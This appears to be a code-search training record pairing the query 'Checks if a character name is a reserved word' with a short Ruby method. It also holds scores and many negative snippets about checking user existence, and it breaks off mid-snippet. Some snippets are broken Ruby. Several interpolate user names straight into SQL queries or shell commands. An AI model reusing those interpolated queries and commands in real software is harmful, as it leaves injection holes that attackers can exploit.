"def user_present(name)\n user_exists = false\n execute(\"dscacheutil -q user -a name #{name}\") do |result|\n user_exists = result.stdout.start_with?(\"name: #{name}\")\n end\n\n return if user_exists\n\n uid = uid_next\n gid = gid_next\n create_cmd = \"dscl . create /Users/#{name}\"\n create_cmd << \" && dscl . create /Users/#{name} NFSHomeDirectory /Users/#{name}\"\n create_cmd << \" && dscl . create /Users/#{name} UserShell /bin/bash\"\n create_cmd << \" && dscl . create /Users/#{name} UniqueID #{uid}\"\n create_cmd << \" && dscl . create /Users/#{name} PrimaryGroupID #{gid}\"\n execute(create_cmd)\n end",
"def userExists(userName)\n user = loadUser(userName)\n #puts \"User::::#{user}\"\n if(user != nil && (!user.key?(\"BLOCKED\") || user[\"BLOCKED\"] == false))\n return true\n end\n return false\n end",
"def username_exists?(github_username)\n !!User.all.find_by(github_username: github_username)\n end",
"def has_user?(name, options={})\n run(\"id #{name}\").success?\n end",
"def user_already_exists\n puts \"\"\n puts Rainbow(\"*\").blue * 70\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"Please type your name (first and last).\"\n puts \"\"\n user_name_response = gets.chomp.split.map(&:capitalize).join(' ')\n self.quit if user_name_response == \"quit\"\n User.name_search_and_greeting(user_name_response, self)\n self.where_are_you_at?\n end",
"def windows_user_exists?(user)\n if defined?(Win32)\n net_user = Chef::Util::Windows::NetUser.new(user)\n begin\n !!net_user.get_info\n rescue\n false\n end\n else\n false\n end\n end",
"def check_found_user(u, path)\n if u.nil?\n @msg.add(:error, \"Counld not find the user.\");\n render(path);\n return false;\n end\n return true;\n end",
"def userlogin_valid?\n if User.find_by(name: userlogin_input) != nil\n if User.find_by(name: userlogin_input).name == self.userlogin_input #########put in custom error catch\n self.active_user = User.find_by(name: userlogin_input) ### if you use this method.name it dies if there isn't a match\n self.welcome_user\n end\n else\n puts Rainbow (\"\\n\\nI'm sorry that's not a valid username.\\n\").bright.red\n puts \"I'll let you try again.\\n\"\n self.userquery_prompt\n end\nend",
"def user_already_has_item_with_name?(record)\n user_item_names(record).include?(record.name.downcase)\n end",
"def user_name (name, password)\n if name == password\n 'name and password cannot be the same.'\n elseif name.length < 6 && password.length < 6\n \"names and passwords must be atleast 6 characters long\"\n elseif password.include? ('!''#''$') == false \n 'password must contain at least one of the following \"!, #, $\"'\n elseif name.include? ('!''#''$'' ') == true\n \"ID's connot contain '!, #, $, '\"\n elseif password == 'password'\n 'your password cannot be password'\n end\nend",
"def same_visible_username?(username)\n real_username.downcase == username.downcase\n end",
"def check_user_exists(username)\n\t \t\tresult = @db.exec(\"SELECT * FROM users where username = '#{username}'\")\n\t\t\tparams = result.map { |x| x }\n\t \t\tif params.empty?\n\t \t\t\treturn nil\n\t \t\telse\n\t \t\t\tuser = Leftovers::Users.new(params.first[\"username\"],params.first[\"organization\"])\n\t \t\t\treturn user\n\t \t\tend\n\t \tend",
"def isValidUserName?(userName)\n\t\tuserName =~ /^[a-z_][a-z0-9_-]*$/\n\tend",
"def cdb_has_key?(name)\n Chef::CouchDB.new.has_key?(\"webui_user\", name)\n end",
"def username_present?(username)\n @hashers.key?(username) && @passwords.key?(username)\n end",
"def checkUser(userName)\n @users = User.all\n @users.each do |user|\n if user[\"userName\"] == userName\n return user\n end\n end\n return false\n end",
"def hasOp(usr)\n @IRCsocket.write(\"NAMES #{@ch}\\n\")\n data = namesData(@IRCsocket.readline.split(\" \"))\n @IRCsocket.readline # for the second worthless line of answer to the NAMES request\n if(data[\"to\"] == @name && data[\"names\"].include?(\"@#{usr}\"))\n return true\n else\n false\n end\n end",
"def kon_user_account_checking\n user_array = User.kon_search(params[:name])\n if user_array.length \n end\n end",
"def validate_username_is_unique(username)\n return false unless username != nil\n return !User.username_exists?(username)\n end",
"def name_is_valid?(user, name)\n\t\tuser.respond_to? \"#{name}s_administrating\" and (this_is_offering?(name) || this_is_multisession?(name))\n\tend",
"def is_valid_username(db, username)\n\n # if value is returned then username is not valid\n if db.execute('SELECT 1 FROM users WHERE username=?', username).length > 0 then\n return false\n else\n return true\n end\n\nend",
"def validate_username?\n @user = User.find_by username: self.usuario\n unless self.usuario == \"\"\n unless @user.nil? \n #Luego de que se verifica que el usuario si es usado, se pregunta si ese username pertenece al mismo\n #empleado que actualizara sus datos\n if self.usuario == self.user.username \n #si es el mismo username retorna true \n return true\n else\n #si es el mismo username retorna false \n errors.add(:usuario, :invalid)\n return false\n end\n else\n #no existe ningún usuario con este username que se intenta registrar\n return true\n end\n else\n errors.add(:usuario, \"Debe ingresar un usuario.\")\n return false\n end \n end",
"def name_is_valid?(user, name)\n\t\t\tuser.respond_to? \"#{name}s_membership\" and this_is_act?(name)\n\t\tend",
"def has_user_credential?(username)\n self.credentials.map { |credential| credential.username }.include?(username)\n end",
"def try_display_name\n [display_name, username].find(&:present?)\n end",
"def user_exists(user)\n @users.key?(user)\n end",
"def user?(user)\n\t\t\t\tusername = \"\"\n\t\t\t\tif(user.respond_to?(:username))\n\t\t\t\t\tusername = user.username\n\t\t\t\telse\n\t\t\t\t\tusername = user\n\t\t\t\tend\n\n\t\t\t\toutput = Exec::exec(\"/usr/sbin/pw showuser '#{shellescape(username)}'\")\n\t\t\t\tif(output[0][0] =~ /^#{Regexp.escape(username)}:/)\n\t\t\t\t\treturn(true)\n\t\t\t\telse\n\t\t\t\t\treturn(false)\n\t\t\t\tend\n\t\t\tend",
"def username_taken?\n @user and user.errors.added?(:username, :taken)\n end",
"def user?(jid)\n users.include?(jid.to_s.downcase)\n end",
"def user_exists?(user)\n @users.key?(user)\n end",
"def user?(user)\n\t\t\t\tif(users()[user] != nil)\n\t\t\t\t\tCfruby.controller.inform('debug', \"\\\"#{user}\\\" exists\")\n\t\t\t\t\treturn(true)\n\t\t\t\telse\n\t\t\t\t\tCfruby.controller.inform('debug', \"\\\"#{user}\\\" does not exist\")\n\t\t\t\t\treturn(false)\n\t\t\t\tend\n\t\t\tend",
"def reserved? charname\n\t\t\t\t['create', 'list'].include? charname\n\t\t\tend",
"def exists?(username)\n perform_request({:action => 'client-checkexists', :username => username})\n end",
"def validate_username(username)\n return false unless username != nil\n if username.length > 19\n return false\n end\n stripped = username.gsub(/[ \\&\\=\\+\\-\\?]/,'')\n return username == stripped\n end",
"def user_exists?(user_name)\n resp = iam.get_user(user_name: user_name)\n if resp.length > 0\n true\n else\n false\n end\nrescue ::Aws::IAM::Errors::NoSuchEntity\n false\nend",
"def user_check(_user)\n (printf(\"\\nUser must be > 3 chars\\n\") ; raise \"\\nErro no nome de utilizador tem de conter > 3 chars\\n\") if _user.size<4\nend",
"def test_email_username?\n # get the user by the supplied email\n here = true\n found = User.find_by(email: params[:email])\n # If it's not nil and not equal to current user\n if ( !found.nil? && !@user.equal(found))\n # Someone already has that email\n flash[:error] = \"Email already in use\"\n here = false\n end\n # get the user by the supplied username\n found = User.find_by(username: params[:username])\n # If it's not nil and not equal to current user\n if ( !found.nil? && !@user.equal(found))\n flash[:error] = \"Username already in use\"\n here = false\n end\n # Since username and email aren't currently being used\n return here\n end",
"def username_available?(username)\n response = get('api/username_available.json', :user => username)\n response[:body]\n end",
"def dummy_user?\n (user_id.split('/').first == 'gofreerev')\n end",
"def dummy_user?\n (user_id.split('/').first == 'gofreerev')\n end",
"def user_exists? env, username\n return false if config.nil? || config.empty?\n return true if config[env].has_key? username\n end",
"def user_exists?(email_address)\n !!read_user(email_address)\n end",
"def user_valid\n @user_id.length >= 7 && (@user_id.include?(\"!\") || @user_id.include?(\"$\"))\n end",
"def find_user?(username, users)\n users.each do |user|\n if user[0] == username\n puts user[0]\n return true\n end\n end\n return false\nend",
"def user_exist?(email: nil)\n return users.any? { |existing_user| existing_user.email.casecmp(email.downcase).zero? }\n end",
"def check_name_existence\n users = Center.joins(:profile).where(institution_id: institution_id).where('profiles.firstname =?',firstname)\n errors.add(:firstname,\"already taken for this entrys\") if !users.blank? and self.id != users.first.id\n end",
"def get_username_and_test_validity(company)\n prompt = TTY::Prompt.new\n username = prompt.ask(\"Please enter your username:\")\n company.username == username\n end",
"def user?(name)\n eval(USER_CHECK, binding, __FILE__, USER_CHECK_LINE)\n nil\nend"
] |
[
"0.7199486",
"0.7026632",
"0.6931521",
"0.6828559",
"0.6773235",
"0.6740338",
"0.67331254",
"0.67331254",
"0.6708668",
"0.67040217",
"0.6702168",
"0.6701418",
"0.6673328",
"0.66070193",
"0.6586637",
"0.65844977",
"0.6580599",
"0.6556602",
"0.6553824",
"0.65457207",
"0.651632",
"0.650868",
"0.6492813",
"0.6479974",
"0.64733565",
"0.64622235",
"0.644767",
"0.6445964",
"0.6435253",
"0.64192855",
"0.64138645",
"0.6408774",
"0.6367855",
"0.6357974",
"0.6327845",
"0.6300473",
"0.6277518",
"0.62680167",
"0.62512183",
"0.6232449",
"0.6224059",
"0.62096524",
"0.62000155",
"0.6168041",
"0.6168041",
"0.6167515",
"0.61098075",
"0.6104075",
"0.60978705",
"0.60973495",
"0.6082681",
"0.6079643",
"0.6068923",
"0.60647017",
"0.60532457",
"0.60417616",
"0.6039612",
"0.6021689",
"0.60154253",
"0.6014496",
"0.6003241",
"0.5993573",
"0.59835654",
"0.5969512",
"0.5968064",
"0.595235",
"0.5950501",
"0.5942382",
"0.5942217",
"0.5928626",
"0.5919462",
"0.5913497",
"0.5913087",
"0.59128076",
"0.59042794",
"0.5872829",
"0.5872642",
"0.5863765",
"0.5850297",
"0.58355445",
"0.5830616",
"0.5830493",
"0.5829019",
"0.58168906",
"0.5810107",
"0.5789136",
"0.57626146",
"0.5758218",
"0.5744475",
"0.57434434",
"0.57298285",
"0.57298285",
"0.5729307",
"0.5718458",
"0.57135576",
"0.5712351",
"0.5706356",
"0.570115",
"0.5694724",
"0.56946415"
] |
0.8671146
|
0
|
Checks if a character name is a reserved word
|
def reserved? charname
['create', 'list'].include? charname
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def carefull_name?(name)\n not !! (name =~ /\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12}/)\nend",
"def reserved_word?(str)\n RESERVED_WORDS.include?(str.downcase)\n end",
"def identifier_char?(c)\n c =~ /[\\.a-zA-Z0-9_]/ ? true : false\n end",
"def valid_name (name)\r\n /^\\w+$/.match (name)\r\n end",
"def valid_name?(name)\n name.is_a?(String) and MACRO_NAME_RE.match(name)\n end",
"def valid_name!(name)\n not_empty!(name)\n unless [String, Symbol].include?(name.class)\n coercion_error!\n end\n name\n end",
"def is_valid_name?(name)\n return name.class == String && name.match(/[a-zA-Z]+?/)\n end",
"def identifier_valid?(key)\n key = key.to_s\n ForbiddenChars.each_char do |char|\n return false if key.include?(char)\n end\n end",
"def name_valid?(name)\n name.nil? || /^[A-Za-z]{2,}$/.match?(name)\n end",
"def not_reserved\n errors.add(:name, 'is reserved') if self.name.downcase.in?(self.class.reserved_names)\n end",
"def valid_name?(nm)\n\t\treturn false unless (nm =~ VALID_NAME)\n\t\ttrue\n\tend",
"def validate_name(name)\n !name.scan(/\\D/).empty?\n end",
"def char_valid?(ord)\n ord >= 32\n end",
"def name?(name)\n name = name&.strip\n !(name.blank? || name.match?(%r{(N[/\\\\]+A|UNKNOWN)}i))\n end",
"def valid?\n self.name.match(/^[a-zA-Z0-9_]+$/) ? true : false\n end",
"def valid_name?(name)\n !!(name =~ NAME_REGEX)\n end",
"def valid_item_name?(name)\n !!(name =~ /\\A[-_ 0-9a-zA-Z]+\\Z/)\n end",
"def name_legal?\n if @params\n if self.name.include?(\"\\\\\") or self.name.include?(\"/\")\n errors.add(\"Invalid name:\", \"Slashes not allowed in names.\")\n elsif self.name == \"\"\n errors.add(\"Invalid name:\", \"No name provided.\")\n end\n end\n end",
"def name_valid_format\n if name.present? and not name.match(/[\\w]+([\\s]+[\\w]+){1}+/)\n errors.add :name , \"must be seperated by space and should not contain any special characters.\"\n end\n end",
"def is_valid_name(name)\n return false if name.split.length < 2\n name == format_name(name)\nend",
"def prog_alphanum_title\n if name !~ /[[:alnum:]]/\n errors.add(:name, \"can only contain letters or numbers\")\n end\n end",
"def validate_name\n\t\t\tunless Nacreon::NameRX.match(name)\n\t\t\t\terrors.add(:name,\n\t\t\t\t\t'must contain only letters, numbers, and \"-\".')\n\t\t\tend\n\t\tend",
"def word_char?(char)\n char =~ /\\w+/\n end",
"def var_name_ok?(varname)\n svar=varname.to_s\n if @@reserved_words.include?(svar)\n raise ArgumentError, \"Name \\\"#{svar}\\\" is a reserved word in Ruby.\"\n elsif @@reserved_vars.include?(svar)\n raise ArgumentError, \"Cannot override the #{svar} variable.\"\n elsif /\\A[a-zA-Z][a-zA-Z0-9_]*\\z/.match(svar)\n return svar\n else\n raise ArgumentError, \"Invalid variable name \\\"#{var}\\\": it must be a letter followed by any number of letters, numbers and underscores.\"\n end\n end",
"def character_valid?(character)\n Amiiboproject::Amiibo.all.any? {|amiibo| amiibo.character.downcase == character}\n end",
"def valid_table_name?(name)\r\n name =~ /^([a-z]|[A-Z]){1}([a-z]|[A-Z]|\\d){2,62}$/\r\n end",
"def blank_allowed?(name)\n [\"!*\", \"*\", \"t\", \"w\"].include? operator_for(name)\n end",
"def valid_table_name?(name)\n name =~ /^([a-z]|[A-Z]){1}([a-z]|[A-Z]|\\d){2,62}$/\n end",
"def reserved_name?\n !!self[:filename]\n end",
"def valid_name?(named_colour)\n return false unless symbol?(named_colour)\n\n valid_codes.include?(named_colour)\n end",
"def miga_name?\n !(self !~ /^[A-Za-z0-9_]+$/)\n end",
"def name_check(name)\n if name.nil? or name.empty? or name =~ /\\W+/ or name == \"0\"\n\n #raise an error in case of invalid input\n raise ArgumentError.new(\"Error - invalid name\")\n end\n #capitalize the first letter of the name\n name = name.capitalize\n end",
"def name_check(name)\n if name.nil? or name.empty? or name =~ /\\W+/ or name == \"0\"\n\n #raise an error in case of invalid input\n raise ArgumentError.new(\"Error - invalid name\")\n end\n #capitalize the first letter of the name\n name = name.capitalize\n end",
"def validate_name\n if name.match(/\\|/)\n errors.add(:name, \"cannot have a '|' character\")\n end\n end",
"def name_is_valid?\n return false unless not_nil_and_string(self.name)\n return self.name.length > 0\n end",
"def name_is_valid?\n return false unless not_nil_and_string(self.name)\n return self.name.length > 0\n end",
"def legal?(word)\n\t\tself.is_length(word) && self.letters?(word) && self.duplicates?(word) # Will return true or false if given word is legal/not legal\n\tend",
"def titlecase_char?(char)\n TITLECASE_LETTER_SET.include?(char.ord)\n end",
"def validate_name(arg = nil)\n set_or_return(:name, arg, :kind_of => String, :callbacks => {\n \"user must be string of word characters and Engine ID should be either empty string or 5 to 32 octets separated by colons\" => lambda {\n |name| !@@title_pattern.match(name).nil?\n }\n })\n end",
"def validate_name(arg=nil)\n set_or_return(:name, arg, kind_of: String, callbacks: {\n 'user must be string of word characters and ' \\\n 'Engine ID should be either empty string or ' \\\n '5 to 32 octets separated by colons' => lambda do |name|\n !@@title_pattern.match(name).nil?\n end,\n })\n end",
"def valid_name?\n proto_table.key?(@name)\n end",
"def mapping_name_is_valid?(mapping_name)\n mapping_name.class == Symbol\n end",
"def fail_letter?(letter)\n return @secret_word.include?(letter) ? false : letter\n end",
"def name_valid?\n\t\tif self.name == nil\n\t\t\treturn false\n\t\telsif VALID_NAME_REGEX !~ self.name || self.name.empty? || self.name.length > MAX_CREDENTIAL_LENGTH\n\t\t\treturn false\n\t\tend\n\t\ttrue\n\tend",
"def can_write_only_latin?(input)\n !!(input.match(LATIN_LOOKING_CHARS))\n end",
"def character_exist?(filename)\n test_file_existence(filename, Characters_Path, @character_data)\n end",
"def valid_name?(name)\n name =~ /^[^\\/?*:;{}\\\\]+$/\n end",
"def _validate_name(name)\n if name =~ %r{/}\n results.add_error('name', 'The name of a spec should not contain ' \\\n 'a slash.')\n end\n\n if name =~ /\\s/\n results.add_error('name', 'The name of a spec should not contain ' \\\n 'whitespace.')\n end\n\n if name[0, 1] == '.'\n results.add_error('name', 'The name of a spec should not begin' \\\n ' with a period.')\n end\n end",
"def _validate_module_name(m)\n unless m.nil? || m =~ /^[a-z_][0-9a-z_]*$/i\n results.add_error('module_name', 'The module name of a spec' \\\n ' should be a valid C99 identifier.')\n end\n end",
"def name_valid(name)\n if !name.empty?\n self.name = name\n return true\n else\n return false\n end\n end",
"def name_valid(name)\n if !name.empty?\n self.name = name\n return true\n end\n end",
"def safe_name(name)\n @@safe_names[name] || @@safe_names[name] = name.gsub(/[^a-zA-Z0-9_]/) do |s|\n \"__#{Character.getName(s[0].to_i).gsub(/[^a-zA-Z0-9_]/, '_').downcase!}\"\n end\n end",
"def safe_init_char?(char)\n return safe_char?(char) && !([\" \", \":\", \"<\"].include? char)\n end",
"def is_valid_name(str)\n return str.include?(\" \") && format_name(str) == str\nend",
"def namechar!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 45 )\n\n \n # - - - - main rule block - - - -\n # at line \n if @input.peek( 1 ).between?( 0x2d, 0x2e ) || @input.peek( 1 ).between?( 0x30, 0x3a ) || @input.peek( 1 ).between?( 0x41, 0x5a ) || @input.peek(1) == 0x5f || @input.peek( 1 ).between?( 0x61, 0x7a )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 45 )\n\n end",
"def legal_word?(word)\n word.length >= 5 && word.length <= 12\n end",
"def get_valid_name\r\n while true \r\n name = gets.chomp\r\n break if valid_name(name)\r\n puts \"Please only use letters, numbers or '_' in your name\"\r\n end\r\n name\r\n end",
"def is_special?\n # Only consonants\n return true if self =~ /^[bcdfghjklmnpqrstvwxz]+$/i\n\n # Not a word\n return false if self =~ /[^\\s]\\s[^\\s]/;\n return false if self.length < 3;\n # Alphanumeric\n return true if self =~ /[0-9]/ && self =~ /[a-z]/i\n # All Caps\n return true if self =~ /[A-Z]{2,}/;\n # Caps Mix\n return true if self =~ /[a-z][A-Z]/;\n # All consonants\n return true if self =~ /^[a-z]$/i && self !~ /[aeiou]/i\n # Dashed word\n return true if self =~ /(^\\w-|-\\w$)/\n # To many consonants (very heuristic)\n if self =~ /([^aeiouy]{3,})/i && !CONSONANTS.include?($1.downcase)\n return true\n end\n\n return false\n end",
"def valid_queue_name?(name)\n name =~ /^[a-z0-9][a-z0-9\\-]{1,}[^-]$/ && name.length < 64\n end",
"def valid?\n @chars.all? { |c| c.ord >= A && c.ord <= Z }\n end",
"def letters_only\n\t\tregex = /\\A[^0-9`!@#\\$%\\^&*+_=]+\\z|\\A\\z/\n\t\tvalidates_format_of :name, :with => regex\n\t\tvalidates_format_of :university, :with => regex\n\t\tvalidates_format_of :department, :with => regex\n\tend",
"def check_a_string_for_special_characters(string)\n string =~ /\\W/\nend",
"def char_taken?(char)\n check_char = Character.find_by_name(char.name)\n if check_char == nil \n \"no_entry\"\n else\n if check_char.user_id == 0\n \"unassigned\"\n else\n check_char.user.name\n end\n end\n end",
"def letter?(letter)\n letter =~ /[[:alpha:]]/\n end",
"def valid_letter?(input)\n input.length == 1 && input.match?(/^[[:alpha:]]+$/)\n end",
"def name_is_valid\n errors.add(:name,\"Invalid string for name.\") unless name_is_valid?\n end",
"def isIdentifier(str)\n digitsOfAlphabet = getAlphabet[0] # if its a digit\n charsOfAlphabet = getAlphabet[1] # if a letter\n\n # first character in name cannot be digit\n if digitsOfAlphabet.include?(str[0])\n return false\n end\n\n # if keyword includes str\n if getKeywords.include?(str)\n return false\n end\n\n # check is in the alphabet\n for i in 1..str.size-1\n character = str[i]\n\n unless digitsOfAlphabet.include?(character) or charsOfAlphabet.include?(character)\n return false\n end\n end\n\n return true\nend",
"def unknown?\n\t\treturn name.to_s == \"\"\n\tend",
"def is_valid_name(str)\n\tnames_arr = str.split(\" \")\n if names_arr.length < 2\n return false\n end\n\n \tnames_arr.each do |name|\n if check_case(name)\n return true\n \n else\n return false\n end\n end \nend",
"def allow?(name) \n return return_symbol if name_matchers.reject{|name_matcher| !name.match(name_matcher) } \n end",
"def safe?\n return true if match?(/^[a-z0-9]$/)\n\n match?(/^[a-z0-9][\\w-]*[a-z0-9]$/) && squeeze('_') == self\n end",
"def check_class_name\n\t\tspecial = \"!?<>',?[]}{=-)(*&|^%$#`~{}/\\\\:;\"\n\t\tregex = /[#{special.gsub(/./){|char| \"\\\\#{char}\"}}]/\n\t\tif class_name =~ regex\n\t\t\treturn \"The file name cannot contain special characters\"\n\t\telsif class_name.include?(\"\\n\")\n\t\t\treturn \"The file name cannot contain line breaks\"\n\t\telsif class_name.include?(\" \") || class_name.include?(\"\\t\")\n\t\t\treturn \"The file name cannot contain white spaces\"\n\t\telsif class_name == \"\"\n\t\t\treturn \"The file name cannot be empty\"\n\t\telse\n\t\t\treturn \"\"\n\t\tend\n\tend",
"def self_is_letter?(character)\n\n if character.length > 1\n return false\n elsif character.to_i != 0\n return false\n else\n return true\n end\n end",
"def custom?\n @chars[@index] == CUSTOM_ESCAPE &&\n (next_char = @chars[@index+1]) &&\n next_char == next_char.upcase &&\n next_char != SPACE\n end",
"def username_arg_ok? username\n return false if username.nil?\n return false unless (1..16) === username.length\n return false unless username.match /\\A[0-9a-zA-Z]*\\z/\n \n # oh? okay, all good.\n true\n end",
"def is_valid_middle(char)\n is_alpha(char) || is_digit(char) || char == '-'\n end",
"def variable_name? word\n word.start_with?('@') or word.start_with?('$')\n end",
"def const_check(character)\n (character =~ /['bcdfghjklmnpqrstvwxyz']/) != nil\nend",
"def has_special_ch?(str)\n (str =~ @@regex)?true:false\n end",
"def letter_in_word?(letter)\n end",
"def is_valid_name(str)\r\n\twords = str.split(\" \")\r\n \tif words.length < 2\r\n return false\r\n end\r\n \twords.each do |word|\r\n if !capitalized(word)\r\n return false\r\n end\r\n end\r\n return true\r\nend",
"def name_invalid\n errors.add(:name, :unknown)\n end",
"def private_name?\n fullname =~ /(\\A|#|\\.)_/\n end",
"def test_check_capital_non_alpha\r\n assert_equal true, @g.check_capital('?!.(3')\r\n end",
"def contains_forbidden?(string)\n string.dup.force_encoding('UTF-8').include?(\"\\u2019\")\n end",
"def no_space name\n raise \"space is a reserved name\" if name == :space\n name\n end",
"def valid_char_entry(char_name, user)\n hash = get_char_info(char_name)\n if hash['data']['results'].empty?\n puts \"This character cannot be found.\"\n else\n hash\n end\n end",
"def is_letter?(letter)\r\n (Alphabet.include? letter.downcase) && (letter.length == 1)\r\n end",
"def is_valid_name(str)\n\tnames = str.split(\" \")\n \tif names.length < 2\n return false\n end\n \n \tnames.each do | name |\n if(name[0] != name[0].upcase || name[1..-1] != name[1..-1].downcase)\n return false\n end\n end\n return true\nend",
"def proper(word)\n /[[:upper:]]/.match(word) != nil\n end",
"def is_valid_name(name)\n name_arr = name.split(\" \")\n if (name_arr.length > 1)\n name_arr.each do |word|\n if !(word[0] == word[0].upcase && word[1..-1] == word[1..-1].downcase)\n return false\n end\n end\n else\n return false\n end\n true\nend",
"def safe_name\n name.gsub(/(^[0-9]*|[^0-9a-z])/i, '')\n end",
"def valid_symbol?(symbol)\n return false if [].include?(symbol)\n true\n end",
"def check_valid_characters(input)\n unless(input.match? /\\A[a-z A-Z0-9!@#&*()-+=\\/~;:?'-]{1,40}\\z/)\n @io.produce_output \"invalid search, please try another: \"\n @session.route(@io.receive_input.strip)\n end\n end",
"def parsable_into_words?(name)\n name.match?(/[a-zA-Z0-9]{2}/)\n end",
"def ascii_only?()\n #This is a stub, used for indexing\n end",
"def char_valid?(ord)\n ord .between?(48, 57)\n end",
"def charIsAlpha\n c = getChar\n return ((c >= 'A') && (c <= 'Z')) || ((c >= 'a') && (c <= 'z'))\n end",
"def test_invalid_characters_in_name\n type = Type.new(:name => \"Do not allow < or > in the name\")\n assert !type.valid?\n assert type.errors.invalid?(:name)\n end",
"def validate_username_reserved\n return unless username_reserved?\n\n errors.add(:username, :exclusion)\n end"
] |
[
"0.6927531",
"0.686184",
"0.6846887",
"0.6838027",
"0.68100804",
"0.6765642",
"0.6752511",
"0.6706572",
"0.6697595",
"0.6670274",
"0.6651417",
"0.6597012",
"0.659397",
"0.6545267",
"0.6540057",
"0.6538487",
"0.6517937",
"0.6443867",
"0.6391634",
"0.6381689",
"0.63207966",
"0.62273455",
"0.62264407",
"0.622242",
"0.62160134",
"0.6201295",
"0.6197853",
"0.6179162",
"0.61710286",
"0.6168663",
"0.6160991",
"0.61558574",
"0.61558574",
"0.61379635",
"0.6112136",
"0.6112136",
"0.608247",
"0.6044627",
"0.6039202",
"0.60015017",
"0.6001078",
"0.59804213",
"0.5970269",
"0.5961975",
"0.59586424",
"0.5954443",
"0.59491724",
"0.5940154",
"0.59380424",
"0.5936612",
"0.5935648",
"0.5931967",
"0.5899492",
"0.58703625",
"0.5868614",
"0.5866219",
"0.5855964",
"0.5832713",
"0.5820842",
"0.5817811",
"0.5799637",
"0.5775985",
"0.5762068",
"0.5757327",
"0.5751354",
"0.57487494",
"0.5742992",
"0.57379323",
"0.5734199",
"0.5731684",
"0.5730665",
"0.57270133",
"0.5711118",
"0.57076555",
"0.56954896",
"0.56905717",
"0.56885475",
"0.56862557",
"0.5681839",
"0.5674483",
"0.5673113",
"0.56729466",
"0.56723857",
"0.56717396",
"0.5671151",
"0.56694394",
"0.56675005",
"0.56649804",
"0.5664835",
"0.56604725",
"0.56598055",
"0.565803",
"0.5648748",
"0.56442297",
"0.56348264",
"0.5632159",
"0.5631498",
"0.56301194",
"0.56271565",
"0.5611965"
] |
0.78915423
|
0
|
Creates a new character
|
def create(name, race, cclass, session_key)
user = API::UserMethods::Helpers::Auth::get_logged_in_user(session_key)
return APIError.new(13, []) if user.nil?
return APIError.new(11, [name]) if reserved? name
return APIError.new(2, [user.username, name]) if exists?(user, name)
r = Races.get(race)
c = CharClasses.get(cclass)
stats = CharStats.create(
:strength => 1,
:speed => 1,
:serenity => 1,
:stamina => 1,
:sorcery => 1
)
char = Character.create(
:name => name,
:user => user,
:race => r,
:cclass => c,
:stats => stats
)
stats.character = char
stats.save
return char
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new_char(name)\n new_char = CharacterSheet.roll_char(name)\n self.characters << new_char\n end",
"def create(name)\n name = name.downcase\n\n char = self.new(name)\n char.save\n\n @characters ||= {}\n @characters[name] = char\n\n char\n end",
"def new_character(unicode)\n {:width=>\"1000\", :flags=>\"W\", :layercount=>\"2\", :splineset=>\"\", :unicode=>unicode}\n end",
"def insert_character(char)\n @background_grid[@state.row][@state.column] = Character.new(char, @state.style.dup)\n @state.column += 1\n end",
"def add_character(char)\n @characters << char\n end",
"def create_character(name, **options)\n register(CharacterType.new_submodel(typename: name, registry: self, **options))\n end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def generate_character(character_name)\n character = Character.find_by_ff_name(character_name)\n # check to see if the character exists\n if !character\n character = Character.new()\n character.ff_name = character_name\n character.save\n end\n character\nend",
"def <<(char)\n @text << char\n @cursor += 1\n end",
"def <<(char)\n @text << char\n @cursor += 1\n end",
"def make_character\n system \"clear\"\n font_big = TTY::Font.new(:doom)\n font_col = Pastel.new\n puts font_col.red(font_big.write(\"Character Creation\"))\n puts \"Create a new character!\"\n user_character = $prompt.select(\"What character class would you like to choose?\", [\"Barbarian\", \"Wizard\", \"Thief\", \"Random\"])\n if user_character != \"Random\"\n puts \"Enter character name: \"\n char_name = gets.chomp\n end\n # Error check if player doesn't enter any name\n while char_name == \"\"\n puts \"Please enter a name:\"\n char_name = gets.chomp\n end\n case user_character\n when \"Barbarian\"\n new_player = BarbarianClass.new(char_name)\n when \"Wizard\"\n new_player = WizardClass.new(char_name)\n when \"Thief\"\n new_player = ThiefClass.new(char_name)\n else\n random_character\n end\n character_check(new_player)\nend",
"def character=(value)\n @character = value.to_s\n end",
"def fill_with char\n fill_from_with(0 , char)\n end",
"def write_char(c)\n if c == \"\\000\"\n # Return to original text\n c = \"\\\\\"\n end\n # If \\C[n]\n if c == \"\\001\"\n # Change text color\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n color = $1.to_i\n if color >= 0 and color <= 7\n self.contents.font.color = text_color(color)\n end\n # go to next text\n return\n end\n # If \\G\n if c == \"\\002\"\n # Make gold window\n if @gold_window == nil\n @gold_window = Window_Gold.new\n @gold_window.x = 560 - @gold_window.width\n if $game_temp.in_battle\n @gold_window.y = 192\n else\n @gold_window.y = self.y >= 128 ? 32 : 384\n end\n @gold_window.opacity = self.opacity\n @gold_window.back_opacity = self.back_opacity\n end\n # go to next text\n return\n end\n # If \\skip\n if c == \"\\003\"\n # toggle text skipping\n $game_system.text_skip = !$game_system.text_skip\n # go to next text\n return\n end\n # If \\b\n if c == \"\\004\"\n # toggle bold\n self.contents.font.bold = !self.contents.font.bold\n # go to next text\n return\n end\n # If \\i\n if c == \"\\005\"\n # toggle italics\n self.contents.font.italic = !self.contents.font.italic\n # go to next text\n return\n end\n # If \\s\n if c == \"\\006\"\n # toggle shadow\n $game_system.shadowed_text = !$game_system.shadowed_text\n # go to next text\n return\n end\n # If \\font\n if c == \"\\007\"\n # change font\n @text.sub!(/\\[(.*?)\\]/, \"\")\n font = $1.to_s\n $game_system.font = font\n if font == \"\"\n self.contents.font.name = Font.default_name\n else\n self.contents.font.name = font\n end\n # go to next text\n return\n end\n # If \\p[n]\n if c == \"\\010\"\n @text.sub!(/\\[([0-9]+)\\]/, \"\")\n @pause_time = $1.to_i\n\n # go to next text\n return\n end\n \n # If \\w[n]\n if c == 